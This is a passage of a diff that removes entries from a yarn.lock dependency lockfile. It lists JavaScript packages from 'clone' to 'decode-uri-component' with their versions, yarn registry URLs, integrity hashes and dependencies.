-integrity sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==
-dependencies:
-string-width "^4.2.0"
-strip-ansi "^6.0.0"
-wrap-ansi "^6.2.0"
-
-clone@^1.0.2:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/clone/-/clone-1.0.4.tgz#da309cc263df15994c688ca902179ca3c7cd7c7e"
-integrity sha1-2jCcwmPfFZlMaIypAheco8fNfH4=
-
-clone@^2.1.1:
-version "2.1.2"
-resolved "https://registry.yarnpkg.com/clone/-/clone-2.1.2.tgz#1b7f4b9f591f1e8f83670401600345a02887435f"
-integrity sha1-G39Ln1kfHo+DZwQBYANFoCiHQ18=
-
-co@^4.6.0:
-version "4.6.0"
-resolved "https://registry.yarnpkg.com/co/-/co-4.6.0.tgz#6ea6bdf3d853ae54ccb8e47bfa0bf3f9031fb184"
-integrity sha1-bqa989hTrlTMuOR7+gvz+QMfsYQ=
-
-coa@^2.0.2:
-version "2.0.2"
-resolved "https://registry.yarnpkg.com/coa/-/coa-2.0.2.tgz#43f6c21151b4ef2bf57187db0d73de229e3e7ec3"
-integrity sha512-q5/jG+YQnSy4nRTV4F7lPepBJZ8qBNJJDBuJdoejDyLXgmL7IEo+Le2JDZudFTFt7mrCqIRaSjws4ygRCTCAXA==
-dependencies:
-"@types/q" "^1.5.1"
-chalk "^2.4.1"
-q "^1.1.2"
-
-collect-v8-coverage@^1.0.0:
-version "1.0.1"
-resolved "https://registry.yarnpkg.com/collect-v8-coverage/-/collect-v8-coverage-1.0.1.tgz#cc2c8e94fc18bbdffe64d6534570c8a673b27f59"
-integrity sha512-iBPtljfCNcTKNAto0KEtDfZ3qzjJvqE3aTGZsbhjSBlorqpXJlaWWtPO35D+ZImoC3KWejX64o+yPGxhWSTzfg==
-
-collection-visit@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/collection-visit/-/collection-visit-1.0.0.tgz#4bc0373c164bc3291b4d368c829cf1a80a59dca0"
-integrity sha1-S8A3PBZLwykbTTaMgpzxqApZ3KA=
-dependencies:
-map-visit "^1.0.0"
-object-visit "^1.0.0"
-
-color-convert@^1.9.0, color-convert@^1.9.1:
-version "1.9.3"
-resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
-integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
-dependencies:
-color-name "1.1.3"
-
-color-convert@^2.0.1:
-version "2.0.1"
-resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
-integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
-dependencies:
-color-name "~1.1.4"
-
-color-name@1.1.3:
-version "1.1.3"
-resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
-integrity sha1-p9BVi9icQveV3UIyj3QIMcpTvCU=
-
-color-name@^1.0.0, color-name@~1.1.4:
-version "1.1.4"
-resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
-integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
-
-color-string@^1.5.2:
-version "1.5.3"
-resolved "https://registry.yarnpkg.com/color-string/-/color-string-1.5.3.tgz#c9bbc5f01b58b5492f3d6857459cb6590ce204cc"
-integrity sha512-dC2C5qeWoYkxki5UAXapdjqO672AM4vZuPGRQfO8b5HKuKGBbKWpITyDYN7TOFKvRW7kOgAn3746clDBMDJyQw==
-dependencies:
-color-name "^1.0.0"
-simple-swizzle "^0.2.2"
-
-color@^3.0.0:
-version "3.1.2"
-resolved "https://registry.yarnpkg.com/color/-/color-3.1.2.tgz#68148e7f85d41ad7649c5fa8c8106f098d229e10"
-integrity sha512-vXTJhHebByxZn3lDvDJYw4lR5+uB3vuoHsuYA5AKuxRVn5wzzIfQKGLBmgdVRHKTJYeK5rvJcHnrd0Li49CFpg==
-dependencies:
-color-convert "^1.9.1"
-color-string "^1.5.2"
-
-combined-stream@^1.0.6, combined-stream@~1.0.6:
-version "1.0.8"
-resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.8.tgz#c3d45a8b34fd730631a110a8a2520682b31d5a7f"
-integrity sha512-FQN4MRfuJeHf7cBbBMJFXhKSDq+2kAArBlmRBvcvFE5BB1HZKXtSFASDhdlz9zOYwxh8lDdnvmMOe/+5cdoEdg==
-dependencies:
-delayed-stream "~1.0.0"
-
-command-exists@^1.2.6:
-version "1.2.9"
-resolved "https://registry.yarnpkg.com/command-exists/-/command-exists-1.2.9.tgz#c50725af3808c8ab0260fd60b01fbfa25b954f69"
-integrity sha512-LTQ/SGc+s0Xc0Fu5WaKnR0YiygZkm9eKFvyS+fRsU7/ZWFF8ykFM6Pc9aCVf1+xasOOZpO3BAVgVrKvsqKHV7w==
-
-commander@^2.11.0, commander@^2.17.1, commander@^2.19.0, commander@^2.20.0, commander@~2.20.3:
-version "2.20.3"
-resolved "https://registry.yarnpkg.com/commander/-/commander-2.20.3.tgz#fd485e84c03eb4881c20722ba48035e8531aeb33"
-integrity sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==
-
-component-bind@1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/component-bind/-/component-bind-1.0.0.tgz#00c608ab7dcd93897c0009651b1d3a8e1e73bbd1"
-integrity sha1-AMYIq33Nk4l8AAllGx06jh5zu9E=
-
-component-emitter@1.2.1:
-version "1.2.1"
-resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.2.1.tgz#137918d6d78283f7df7a6b7c5a63e140e69425e6"
-integrity sha1-E3kY1teCg/ffemt8WmPhQOaUJeY=
-
-component-emitter@^1.2.1, component-emitter@~1.3.0:
-version "1.3.0"
-resolved "https://registry.yarnpkg.com/component-emitter/-/component-emitter-1.3.0.tgz#16e4070fba8ae29b679f2215853ee181ab2eabc0"
-integrity sha512-Rd3se6QB+sO1TwqZjscQrurpEPIfO0/yYnSin6Q/rD3mOutHvUrCAhJub3r90uNb+SESBuE0QYoB90YdfatsRg==
-
-component-inherit@0.0.3:
-version "0.0.3"
-resolved "https://registry.yarnpkg.com/component-inherit/-/component-inherit-0.0.3.tgz#645fc4adf58b72b649d5cae65135619db26ff143"
-integrity sha1-ZF/ErfWLcrZJ1crmUTVhnbJv8UM=
-
-concat-map@0.0.1:
-version "0.0.1"
-resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
-integrity sha1-2Klr13/Wjfd5OnMDajug1UBdR3s=
-
-concat-stream@~1.6.0:
-version "1.6.2"
-resolved "https://registry.yarnpkg.com/concat-stream/-/concat-stream-1.6.2.tgz#904bdf194cd3122fc675c77fc4ac3d4ff0fd1a34"
-integrity sha512-27HBghJxjiZtIk3Ycvn/4kbJk/1uZuJFfuPEns6LaEvpvG1f0hTea8lilrouyo9mVc2GWdcEZ8OLoGmSADlrCw==
-dependencies:
-buffer-from "^1.0.0"
-inherits "^2.0.3"
-readable-stream "^2.2.2"
-typedarray "^0.0.6"
-
-console-browserify@^1.1.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/console-browserify/-/console-browserify-1.2.0.tgz#67063cef57ceb6cf4993a2ab3a55840ae8c49336"
-integrity sha512-ZMkYO/LkF17QvCPqM0gxw8yUzigAOZOSWSHg91FH6orS7vcEj5dVZTidN2fQ14yBSdg97RqhSNwLUXInd52OTA==
-
-constants-browserify@^1.0.0:
-version "1.0.0"
-resolved "https://registry.yarnpkg.com/constants-browserify/-/constants-browserify-1.0.0.tgz#c20b96d8c617748aaf1c16021760cd27fcb8cb75"
-integrity sha1-wguW2MYXdIqvHBYCF2DNJ/y4y3U=
-
-content-disposition@0.5.3:
-version "0.5.3"
-resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.3.tgz#e130caf7e7279087c5616c2007d0485698984fbd"
-integrity sha512-ExO0774ikEObIAEV9kDo50o+79VCUdEB6n6lzKgGwupcVeRlhrj3qGAfwq8G6uBJjkqLrhT0qEYFcWng8z1z0g==
-dependencies:
-safe-buffer "5.1.2"
-
-content-type@~1.0.4:
-version "1.0.4"
-resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b"
-integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA==
-
-convert-source-map@^1.4.0, convert-source-map@^1.5.1, convert-source-map@^1.6.0, convert-source-map@^1.7.0:
-version "1.7.0"
-resolved "https://registry.yarnpkg.com/convert-source-map/-/convert-source-map-1.7.0.tgz#17a2cb882d7f77d3490585e2ce6c524424a3a442"
-integrity sha512-4FJkXzKXEDB1snCFZlLP4gpC3JILicCpGbzG9f9G7tGqGCzETQ2hWPrcinA9oU4wtf2biUaEH5065UnMeR33oA==
-dependencies:
-safe-buffer "~5.1.1"
-
-cookie-signature@1.0.6:
-version "1.0.6"
-resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c"
-integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw=
-
-cookie@0.3.1:
-version "0.3.1"
-resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.3.1.tgz#e7e0a1f9ef43b4c8ba925c5c5a96e806d16873bb"
-integrity sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s=
-
-cookie@0.4.0:
-version "0.4.0"
-resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.4.0.tgz#beb437e7022b3b6d49019d088665303ebe9c14ba"
-integrity sha512-+Hp8fLp57wnUSt0tY0tHEXh4voZRDnoIrZPqlo3DPiI4y9lwg/jqx+1Om94/W6ZaPDOUbnjOt/99w66zk+l1Xg==
-
-copy-descriptor@^0.1.0:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/copy-descriptor/-/copy-descriptor-0.1.1.tgz#676f6eb3c39997c2ee1ac3a924fd6124748f578d"
-integrity sha1-Z29us8OZl8LuGsOpJP1hJHSPV40=
-
-core-js-compat@^3.6.2:
-version "3.6.5"
-resolved "https://registry.yarnpkg.com/core-js-compat/-/core-js-compat-3.6.5.tgz#2a51d9a4e25dfd6e690251aa81f99e3c05481f1c"
-integrity sha512-7ItTKOhOZbznhXAQ2g/slGg1PJV5zDO/WdkTwi7UEOJmkvsE32PWvx6mKtDjiMpjnR2CNf6BAD6sSxIlv7ptng==
-dependencies:
-browserslist "^4.8.5"
-semver "7.0.0"
-
-core-js@^2.4.0, core-js@^2.5.0, core-js@^2.6.5:
-version "2.6.11"
-resolved "https://registry.yarnpkg.com/core-js/-/core-js-2.6.11.tgz#38831469f9922bded8ee21c9dc46985e0399308c"
-integrity sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==
-
-core-util-is@1.0.2, core-util-is@~1.0.0:
-version "1.0.2"
-resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.2.tgz#b5fd54220aa2bc5ab57aab7140c940754503c1a7"
-integrity sha1-tf1UIgqivFq1eqtxQMlAdUUDwac=
-
-cosmiconfig@^5.0.0:
-version "5.2.1"
-resolved "https://registry.yarnpkg.com/cosmiconfig/-/cosmiconfig-5.2.1.tgz#040f726809c591e77a17c0a3626ca45b4f168b1a"
-integrity sha512-H65gsXo1SKjf8zmrJ67eJk8aIRKV5ff2D4uKZIBZShbhGSpEmsQOPW/SKMKYhSTrqR7ufy6RP69rPogdaPh/kA==
-dependencies:
-import-fresh "^2.0.0"
-is-directory "^0.3.1"
-js-yaml "^3.13.1"
-parse-json "^4.0.0"
-
-create-ecdh@^4.0.0:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/create-ecdh/-/create-ecdh-4.0.3.tgz#c9111b6f33045c4697f144787f9254cdc77c45ff"
-integrity sha512-GbEHQPMOswGpKXM9kCWVrremUcBmjteUaQ01T9rkKCPDXfUHX0IoP9LpHYo2NPFampa4e+/pFDc3jQdxrxQLaw==
-dependencies:
-bn.js "^4.1.0"
-elliptic "^6.0.0"
-
-create-hash@^1.1.0, create-hash@^1.1.2, create-hash@^1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/create-hash/-/create-hash-1.2.0.tgz#889078af11a63756bcfb59bd221996be3a9ef196"
-integrity sha512-z00bCGNHDG8mHAkP7CtT1qVu+bFQUPjYq/4Iv3C3kWjTFV10zIjfSoeqXo9Asws8gwSHDGj/hl2u4OGIjapeCg==
-dependencies:
-cipher-base "^1.0.1"
-inherits "^2.0.1"
-md5.js "^1.3.4"
-ripemd160 "^2.0.1"
-sha.js "^2.4.0"
-
-create-hmac@^1.1.0, create-hmac@^1.1.4, create-hmac@^1.1.7:
-version "1.1.7"
-resolved "https://registry.yarnpkg.com/create-hmac/-/create-hmac-1.1.7.tgz#69170c78b3ab957147b2b8b04572e47ead2243ff"
-integrity sha512-MJG9liiZ+ogc4TzUwuvbER1JRdgvUFSB5+VR/g5h82fGaIRWMWddtKBHi7/sVhfjQZ6SehlyhvQYrcYkaUIpLg==
-dependencies:
-cipher-base "^1.0.3"
-create-hash "^1.1.0"
-inherits "^2.0.1"
-ripemd160 "^2.0.0"
-safe-buffer "^5.0.1"
-sha.js "^2.4.8"
-
-cross-spawn@^6.0.0, cross-spawn@^6.0.4, cross-spawn@^6.0.5:
-version "6.0.5"
-resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-6.0.5.tgz#4a5ec7c64dfae22c3a14124dbacdee846d80cbc4"
-integrity sha512-eTVLrBSt7fjbDygz805pMnstIs2VTBNkRm0qxZd+M7A5XDdxVRWO5MxGBXZhjY4cqLYLdtrGqRf8mBPmzwSpWQ==
-dependencies:
-nice-try "^1.0.4"
-path-key "^2.0.1"
-semver "^5.5.0"
-shebang-command "^1.2.0"
-which "^1.2.9"
-
-cross-spawn@^7.0.0:
-version "7.0.3"
-resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.3.tgz#f73a85b9d5d41d045551c177e2882d4ac85728a6"
-integrity sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==
-dependencies:
-path-key "^3.1.0"
-shebang-command "^2.0.0"
-which "^2.0.1"
-
-crypto-browserify@^3.11.0:
-version "3.12.0"
-resolved "https://registry.yarnpkg.com/crypto-browserify/-/crypto-browserify-3.12.0.tgz#396cf9f3137f03e4b8e532c58f698254e00f80ec"
-integrity sha512-fz4spIh+znjO2VjL+IdhEpRJ3YN6sMzITSBijk6FK2UvTqruSQW+/cCZTSNsMiZNvUeq0CqurF+dAbyiGOY6Wg==
-dependencies:
-browserify-cipher "^1.0.0"
-browserify-sign "^4.0.0"
-create-ecdh "^4.0.0"
-create-hash "^1.1.0"
-create-hmac "^1.1.0"
-diffie-hellman "^5.0.0"
-inherits "^2.0.1"
-pbkdf2 "^3.0.3"
-public-encrypt "^4.0.0"
-randombytes "^2.0.0"
-randomfill "^1.0.3"
-
-css-color-names@0.0.4, css-color-names@^0.0.4:
-version "0.0.4"
-resolved "https://registry.yarnpkg.com/css-color-names/-/css-color-names-0.0.4.tgz#808adc2e79cf84738069b646cb20ec27beb629e0"
-integrity sha1-gIrcLnnPhHOAabZGyyDsJ762KeA=
-
-css-declaration-sorter@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/css-declaration-sorter/-/css-declaration-sorter-4.0.1.tgz#c198940f63a76d7e36c1e71018b001721054cb22"
-integrity sha512-BcxQSKTSEEQUftYpBVnsH4SF05NTuBokb19/sBt6asXGKZ/6VP7PLG1CBCkFDYOnhXhPh0jMhO6xZ71oYHXHBA==
-dependencies:
-postcss "^7.0.1"
-timsort "^0.3.0"
-
-css-modules-loader-core@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/css-modules-loader-core/-/css-modules-loader-core-1.1.0.tgz#5908668294a1becd261ae0a4ce21b0b551f21d16"
-integrity sha1-WQhmgpShvs0mGuCkziGwtVHyHRY=
-dependencies:
-icss-replace-symbols "1.1.0"
-postcss "6.0.1"
-postcss-modules-extract-imports "1.1.0"
-postcss-modules-local-by-default "1.2.0"
-postcss-modules-scope "1.1.0"
-postcss-modules-values "1.3.0"
-
-css-select-base-adapter@^0.1.1:
-version "0.1.1"
-resolved "https://registry.yarnpkg.com/css-select-base-adapter/-/css-select-base-adapter-0.1.1.tgz#3b2ff4972cc362ab88561507a95408a1432135d7"
-integrity sha512-jQVeeRG70QI08vSTwf1jHxp74JoZsr2XSgETae8/xC8ovSnL2WF87GTLO86Sbwdt2lK4Umg4HnnwMO4YF3Ce7w==
-
-css-select@^2.0.0:
-version "2.1.0"
-resolved "https://registry.yarnpkg.com/css-select/-/css-select-2.1.0.tgz#6a34653356635934a81baca68d0255432105dbef"
-integrity sha512-Dqk7LQKpwLoH3VovzZnkzegqNSuAziQyNZUcrdDM401iY+R5NkGBXGmtO05/yaXQziALuPogeG0b7UAgjnTJTQ==
-dependencies:
-boolbase "^1.0.0"
-css-what "^3.2.1"
-domutils "^1.7.0"
-nth-check "^1.0.2"
-
-css-selector-tokenizer@^0.7.0:
-version "0.7.2"
-resolved "https://registry.yarnpkg.com/css-selector-tokenizer/-/css-selector-tokenizer-0.7.2.tgz#11e5e27c9a48d90284f22d45061c303d7a25ad87"
-integrity sha512-yj856NGuAymN6r8bn8/Jl46pR+OC3eEvAhfGYDUe7YPtTPAYrSSw4oAniZ9Y8T5B92hjhwTBLUen0/vKPxf6pw==
-dependencies:
-cssesc "^3.0.0"
-fastparse "^1.1.2"
-regexpu-core "^4.6.0"
-
-css-tree@1.0.0-alpha.37:
-version "1.0.0-alpha.37"
-resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.37.tgz#98bebd62c4c1d9f960ec340cf9f7522e30709a22"
-integrity sha512-DMxWJg0rnz7UgxKT0Q1HU/L9BeJI0M6ksor0OgqOnF+aRCDWg/N2641HmVyU9KVIu0OVVWOb2IpC9A+BJRnejg==
-dependencies:
-mdn-data "2.0.4"
-source-map "^0.6.1"
-
-css-tree@1.0.0-alpha.39:
-version "1.0.0-alpha.39"
-resolved "https://registry.yarnpkg.com/css-tree/-/css-tree-1.0.0-alpha.39.tgz#2bff3ffe1bb3f776cf7eefd91ee5cba77a149eeb"
-integrity sha512-7UvkEYgBAHRG9Nt980lYxjsTrCyHFN53ky3wVsDkiMdVqylqRt+Zc+jm5qw7/qyOvN2dHSYtX0e4MbCCExSvnA==
-dependencies:
-mdn-data "2.0.6"
-source-map "^0.6.1"
-
-css-what@^3.2.1:
-version "3.3.0"
-resolved "https://registry.yarnpkg.com/css-what/-/css-what-3.3.0.tgz#10fec696a9ece2e591ac772d759aacabac38cd39"
-integrity sha512-pv9JPyatiPaQ6pf4OvD/dbfm0o5LviWmwxNWzblYf/1u9QZd0ihV+PMwy5jdQWQ3349kZmKEx9WXuSka2dM4cg==
-
-cssesc@^3.0.0:
-version "3.0.0"
-resolved "https://registry.yarnpkg.com/cssesc/-/cssesc-3.0.0.tgz#37741919903b868565e1c09ea747445cd18983ee"
-integrity sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==
-
-cssnano-preset-default@^4.0.7:
-version "4.0.7"
-resolved "https://registry.yarnpkg.com/cssnano-preset-default/-/cssnano-preset-default-4.0.7.tgz#51ec662ccfca0f88b396dcd9679cdb931be17f76"
-integrity sha512-x0YHHx2h6p0fCl1zY9L9roD7rnlltugGu7zXSKQx6k2rYw0Hi3IqxcoAGF7u9Q5w1nt7vK0ulxV8Lo+EvllGsA==
-dependencies:
-css-declaration-sorter "^4.0.1"
-cssnano-util-raw-cache "^4.0.1"
-postcss "^7.0.0"
-postcss-calc "^7.0.1"
-postcss-colormin "^4.0.3"
-postcss-convert-values "^4.0.1"
-postcss-discard-comments "^4.0.2"
-postcss-discard-duplicates "^4.0.2"
-postcss-discard-empty "^4.0.1"
-postcss-discard-overridden "^4.0.1"
-postcss-merge-longhand "^4.0.11"
-postcss-merge-rules "^4.0.3"
-postcss-minify-font-values "^4.0.2"
-postcss-minify-gradients "^4.0.2"
-postcss-minify-params "^4.0.2"
-postcss-minify-selectors "^4.0.2"
-postcss-normalize-charset "^4.0.1"
-postcss-normalize-display-values "^4.0.2"
-postcss-normalize-positions "^4.0.2"
-postcss-normalize-repeat-style "^4.0.2"
-postcss-normalize-string "^4.0.2"
-postcss-normalize-timing-functions "^4.0.2"
-postcss-normalize-unicode "^4.0.1"
-postcss-normalize-url "^4.0.1"
-postcss-normalize-whitespace "^4.0.2"
-postcss-ordered-values "^4.1.2"
-postcss-reduce-initial "^4.0.3"
-postcss-reduce-transforms "^4.0.2"
-postcss-svgo "^4.0.2"
-postcss-unique-selectors "^4.0.1"
-
-cssnano-util-get-arguments@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/cssnano-util-get-arguments/-/cssnano-util-get-arguments-4.0.0.tgz#ed3a08299f21d75741b20f3b81f194ed49cc150f"
-integrity sha1-7ToIKZ8h11dBsg87gfGU7UnMFQ8=
-
-cssnano-util-get-match@^4.0.0:
-version "4.0.0"
-resolved "https://registry.yarnpkg.com/cssnano-util-get-match/-/cssnano-util-get-match-4.0.0.tgz#c0e4ca07f5386bb17ec5e52250b4f5961365156d"
-integrity sha1-wOTKB/U4a7F+xeUiULT1lhNlFW0=
-
-cssnano-util-raw-cache@^4.0.1:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/cssnano-util-raw-cache/-/cssnano-util-raw-cache-4.0.1.tgz#b26d5fd5f72a11dfe7a7846fb4c67260f96bf282"
-integrity sha512-qLuYtWK2b2Dy55I8ZX3ky1Z16WYsx544Q0UWViebptpwn/xDBmog2TLg4f+DBMg1rJ6JDWtn96WHbOKDWt1WQA==
-dependencies:
-postcss "^7.0.0"
-
-cssnano-util-same-parent@^4.0.0:
-version "4.0.1"
-resolved "https://registry.yarnpkg.com/cssnano-util-same-parent/-/cssnano-util-same-parent-4.0.1.tgz#574082fb2859d2db433855835d9a8456ea18bbf3"
-integrity sha512-WcKx5OY+KoSIAxBW6UBBRay1U6vkYheCdjyVNDm85zt5K9mHoGOfsOsqIszfAqrQQFIIKgjh2+FDgIj/zsl21Q==
-
-cssnano@^4.0.0, cssnano@^4.1.10:
-version "4.1.10"
-resolved "https://registry.yarnpkg.com/cssnano/-/cssnano-4.1.10.tgz#0ac41f0b13d13d465487e111b778d42da631b8b2"
-integrity sha512-5wny+F6H4/8RgNlaqab4ktc3e0/blKutmq8yNlBFXA//nSFFAqAngjNVRzUvCgYROULmZZUoosL/KSoZo5aUaQ==
-dependencies:
-cosmiconfig "^5.0.0"
-cssnano-preset-default "^4.0.7"
-is-resolvable "^1.0.0"
-postcss "^7.0.0"
-
-csso@^4.0.2:
-version "4.0.3"
-resolved "https://registry.yarnpkg.com/csso/-/csso-4.0.3.tgz#0d9985dc852c7cc2b2cacfbbe1079014d1a8e903"
-integrity sha512-NL3spysxUkcrOgnpsT4Xdl2aiEiBG6bXswAABQVHcMrfjjBisFOKwLDOmf4wf32aPdcJws1zds2B0Rg+jqMyHQ==
-dependencies:
-css-tree "1.0.0-alpha.39"
-
-cssom@0.3.x, cssom@^0.3.4, cssom@~0.3.6:
-version "0.3.8"
-resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.3.8.tgz#9f1276f5b2b463f2114d3f2c75250af8c1a36f4a"
-integrity sha512-b0tGHbfegbhPJpxpiBPU2sCkigAqtM9O121le6bbOlgyV+NyGyCmVfJ6QW9eRjz8CpNfWEOYBIMIGRYkLwsIYg==
-
-cssom@^0.4.4:
-version "0.4.4"
-resolved "https://registry.yarnpkg.com/cssom/-/cssom-0.4.4.tgz#5a66cf93d2d0b661d80bf6a44fb65f5c2e4e0a10"
-integrity sha512-p3pvU7r1MyyqbTk+WbNJIgJjG2VmTIaB10rI93LzVPrmDJKkzKYMtxxyAvQXR/NS6otuzveI7+7BBq3SjBS2mw==
-
-cssstyle@^1.1.1:
-version "1.4.0"
-resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-1.4.0.tgz#9d31328229d3c565c61e586b02041a28fccdccf1"
-integrity sha512-GBrLZYZ4X4x6/QEoBnIrqb8B/f5l4+8me2dkom/j1Gtbxy0kBv6OGzKuAsGM75bkGwGAFkt56Iwg28S3XTZgSA==
-dependencies:
-cssom "0.3.x"
-
-cssstyle@^2.2.0:
-version "2.3.0"
-resolved "https://registry.yarnpkg.com/cssstyle/-/cssstyle-2.3.0.tgz#ff665a0ddbdc31864b09647f34163443d90b0852"
-integrity sha512-AZL67abkUzIuvcHqk7c09cezpGNcxUxU4Ioi/05xHk4DQeTkWmGYftIE6ctU6AEt+Gn4n1lDStOtj7FKycP71A==
-dependencies:
-cssom "~0.3.6"
-
-dashdash@^1.12.0:
-version "1.14.1"
-resolved "https://registry.yarnpkg.com/dashdash/-/dashdash-1.14.1.tgz#853cfa0f7cbe2fed5de20326b8dd581035f6e2f0"
-integrity sha1-hTz6D3y+L+1d4gMmuN1YEDX24vA=
-dependencies:
-assert-plus "^1.0.0"
-
-data-urls@^1.1.0:
-version "1.1.0"
-resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-1.1.0.tgz#15ee0582baa5e22bb59c77140da8f9c76963bbfe"
-integrity sha512-YTWYI9se1P55u58gL5GkQHW4P6VJBJ5iBT+B5a7i2Tjadhv52paJG0qHX4A0OR6/t52odI64KP2YvFpkDOi3eQ==
-dependencies:
-abab "^2.0.0"
-whatwg-mimetype "^2.2.0"
-whatwg-url "^7.0.0"
-
-data-urls@^2.0.0:
-version "2.0.0"
-resolved "https://registry.yarnpkg.com/data-urls/-/data-urls-2.0.0.tgz#156485a72963a970f5d5821aaf642bef2bf2db9b"
-integrity sha512-X5eWTSXO/BJmpdIKCRuKUgSCgAN0OwliVK3yPKbwIWU1Tdw5BRajxlzMidvh+gwko9AfQ9zIj52pzF91Q3YAvQ==
-dependencies:
-abab "^2.0.3"
-whatwg-mimetype "^2.3.0"
-whatwg-url "^8.0.0"
-
-deasync@^0.1.14:
-version "0.1.20"
-resolved "https://registry.yarnpkg.com/deasync/-/deasync-0.1.20.tgz#546fd2660688a1eeed55edce2308c5cf7104f9da"
-integrity sha512-E1GI7jMI57hL30OX6Ht/hfQU8DO4AuB9m72WFm4c38GNbUD4Q03//XZaOIHZiY+H1xUaomcot5yk2q/qIZQkGQ==
-dependencies:
-bindings "^1.5.0"
-node-addon-api "^1.7.1"
-
-debug@2.6.9, debug@^2.2.0, debug@^2.3.3:
-version "2.6.9"
-resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f"
-integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==
-dependencies:
-ms "2.0.0"
-
-debug@=3.1.0, debug@~3.1.0:
-version "3.1.0"
-resolved "https://registry.yarnpkg.com/debug/-/debug-3.1.0.tgz#5bb5a0672628b64149566ba16819e61518c67261"
-integrity sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g==
-dependencies:
-ms "2.0.0"
-
-debug@^4.1.0, debug@^4.1.1, debug@~4.1.0:
-version "4.1.1"
-resolved "https://registry.yarnpkg.com/debug/-/debug-4.1.1.tgz#3b72260255109c6b589cee050f1d516139664791"
-integrity sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==
-dependencies:
-ms "^2.1.1"
-
-decamelize@^1.2.0:
-version "1.2.0"
-resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
-integrity sha1-9lNNFRSCabIDUue+4m9QH5oZEpA=
-
-decimal.js@^10.2.0:
-version "10.2.0"
-resolved "https://registry.yarnpkg.com/decimal.js/-/decimal.js-10.2.0.tgz#39466113a9e036111d02f82489b5fd6b0b5ed231"
-integrity sha512-vDPw+rDgn3bZe1+F/pyEwb1oMG2XTlRVgAa6B4KccTEpYgF8w6eQllVbQcfIJnZyvzFtFpxnpGtx8dd7DJp/Rw==
-
-decode-uri-component@^0.2.0:
-version "0.2.0"
-resolved "https://registry.yarnpkg.com/decode-uri-component/-/decode-uri-component-0.2.0.tgz#eb3913333458775cb84cd1a1fae062106bb87545"
-integrity sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU=
